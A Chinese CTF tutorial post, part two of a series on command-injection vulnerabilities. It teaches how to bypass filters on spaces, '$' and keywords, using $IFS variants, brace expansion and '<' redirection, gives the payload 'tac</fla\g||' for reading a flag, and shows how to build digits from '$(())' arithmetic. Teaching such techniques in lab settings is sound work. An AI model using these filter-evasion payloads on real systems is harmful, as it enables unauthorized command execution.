25分钟了解命令执行漏洞【例题+详细讲解】(二)

简介: >1继续了解如何绕过过滤>2学会构造数字

@TOC

🍀预计时间:25分钟
学习目标:
1继续了解如何绕过过滤
2学会构造数字
⚠别看今天目标少,内容需要思考滴!!!
在这里插入图片描述

过滤cat,flag,空格,数字,$

承接上文,我们介绍了如何绕过过滤cat,flag等,可是如果同时过滤了空格和$我们该怎么办呢???
在这里插入图片描述

明显,$IFS我们用不了了,所以这里再介绍几个绕过空格的方法:
==$IFS==
==$IFS$1==
==${IFS}==
=={,}:例如{cat,/flag}==
==<==
==<>==

这道题我们使用<来作答
在这里插入图片描述
传参tac</fla\g||就可以得到flag了!!!

构造数字(这个比较难搞,所以重点介绍下)

==在linux shell中 $(()) 用来计算数学表达式==
例如:
echo $(()) 0
echo $((~$(()))) -1
echo $((~$(())))$((~$(())))$((~$(()))) -1-1-1
echo $((~$(($((~$(())))$((~$(())))$((~$(()))))))) 2
echo $(($((~$(())))$((~$(())))$((~$(()))))) -3
有没有发现规律???
很明显,如果括号内不加表达式就是0,取反就是-1,我们可以把它们拼接在一起(-1-1-1),也可以加在一起(-3)

在这里插入图片描述

🏆🏆结束语:
==命令执行漏洞的内容会不定期更新,如果对您有帮助的话可以订阅一下专栏==

相关文章
|
10月前
|
关系型数据库 Go 网络安全
go语言中PostgreSQL驱动安装
【11月更文挑战第2天】
428 5
Vue3选择框选择不同的值输入框刷新变化
Vue3选择框选择不同的值输入框刷新变化
260 5
|
Linux vr&ar C语言
Linux怎样更新Centos下Gcc版本支持C++17?
Centos7快速安装gcc8.3.1 可支持C++17(附gcc相关链接整理) centos7直接yum安装的那个gcc版本为4.8.5,对于大多数的需求来说都是低了。系统安装镜像里的那个版本也是4.8.5。 在g++ 7 以上的版本中添加了对c++17 的支持,所以为了工作需要现在需要升级到高版本。
2169 1
Element UI 数字输入框的实现
Element UI 数字输入框的实现
427 0
|
异构计算
FPGA新起点V1开发板(九)——流水灯
FPGA新起点V1开发板(九)——流水灯
238 2
|
SQL 安全 数据处理
Web 测试神器:HackBar 保姆级教程
Web 测试神器:HackBar 保姆级教程
|
存储 Web App开发 JavaScript
【BP靶场portswigger-客户端11】跨站点脚本XSS-20个实验(上)
【BP靶场portswigger-客户端11】跨站点脚本XSS-20个实验(上)
1687 0
【BP靶场portswigger-客户端11】跨站点脚本XSS-20个实验(上)
|
编解码 前端开发 小程序
微信小程序canvas画布不清晰解决方法
微信小程序canvas画布不清晰解决方法
|
前端开发
bootstrap table+layer实现一个表格删除
bootstrap table+layer实现一个表格删除
105 0
|
编译器 测试技术 Go
不同写法的性能差异(1)
不同写法的性能差异(1)
106 0